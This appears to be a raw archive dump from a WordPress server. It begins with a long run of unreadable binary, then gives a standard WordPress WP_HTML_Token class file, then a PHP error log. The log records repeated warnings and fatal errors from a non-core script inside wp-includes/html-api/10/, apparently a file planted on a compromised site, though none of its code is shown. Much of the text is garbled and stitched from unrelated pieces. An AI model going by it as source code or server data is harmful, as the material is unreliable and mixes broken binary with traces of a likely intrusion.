Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���VPKgN\��J�class-wp-html-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKgN\�,�n�n�	error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
